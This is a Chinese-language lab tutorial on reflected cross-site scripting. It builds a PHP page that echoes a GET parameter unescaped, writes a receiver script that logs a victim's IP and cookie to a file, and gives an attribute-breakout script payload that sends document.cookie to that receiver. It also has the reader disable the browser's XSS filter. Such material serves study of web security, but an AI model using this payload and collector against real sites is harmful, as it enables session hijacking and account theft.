xss 跨站脚本攻击(Cross Site Script)
①在慕课网跟着教学视频自己编写一个网页 ,用这个网页模拟有XSS漏洞的网站。
在网页源码中插入了这样一句话。
这句话的作用其实是:显示一个搜索框。将搜索框中显示的内容是你用户输入之后的内容。
通过看网站源码,我们可以知道,他让用户在显示框输入一个内容,然后就把这个内容当做显示框内容显示。
但是,该网页把用户通过GET发送过来的表单数据,未经处理直接写入返回的html流,这就是XSS漏洞所在。
也就是说,网页会将我们输入的那个网址,带入到整个html代码中再执行一遍,那么,这样的话,我们如果像sql注入一样,输入的网址中包含着命令呢?网页岂不是就把我们的命令也一起执行了吗。
②写一个黑客接受程序 xss_hacker.php
接收我们引导用户点击网页发送过来的信息,并将信息保存在本地。
把受害用户的IP地址和访问漏洞网站时使用的cookie,一起写入xss_victim.txt文件保存备用。
③使用IE浏览器访问网站
应当注意的一点是,现在的浏览器都有对xss的过滤功能,所以如果我们要实验演示的话,应该现在浏览器设置中将xss筛选器关掉。
用户使用IE11访问网站。现在网站一般都采用session+cookie来保存用户登录信息,网站通过验证cookie来确实是否是合法已登录用户,所以cookie是用户的敏感数据。
④准备攻击
我们构造一段输入内容
"/><script>window.open("http://localhost/xss_hacker.php?cookie="+document.cookie);</script><!–
只要把这个字符串作为漏洞网站文本编辑框的表单值输入提交,就会造成攻击。手工输入这个字符串,并提交。
此时,用户访问漏洞网站的html代码,被修改成了:
明显看出,这个html回去执行一个脚本,这个脚本功能是把用户的cookie发送到黑客的接收网站。
这样,我们xss_hacker.php脚本执行之后,我们本地就会生成一个xss_get.txt.
即拿到用户的cookie。
重点语句的作用:
PHP 超全局变量 $_GET 和 $_POST 用于收集表单数据。
比如一个网页,让用户输入’name’和’email’,然后发送到当前页面。那么在当前页面,用$_POST["name"]就可以直接用发送来的值。
插入的代码
<form> <input style="width:300px;" type="text" name="address1" value="<?php echo $_GET["address1"]; ?>" /> <input type="submit" value="Submit" /> </form>
xss_hacker.php
<?php $victim = 'XSS得到的 cookie:'.$_SERVER['REMOTE_ADDR'].':'.$_GET['cookie']; echo $_GET['cookie']; file_put_contents('xss_get.txt',$victim); ?>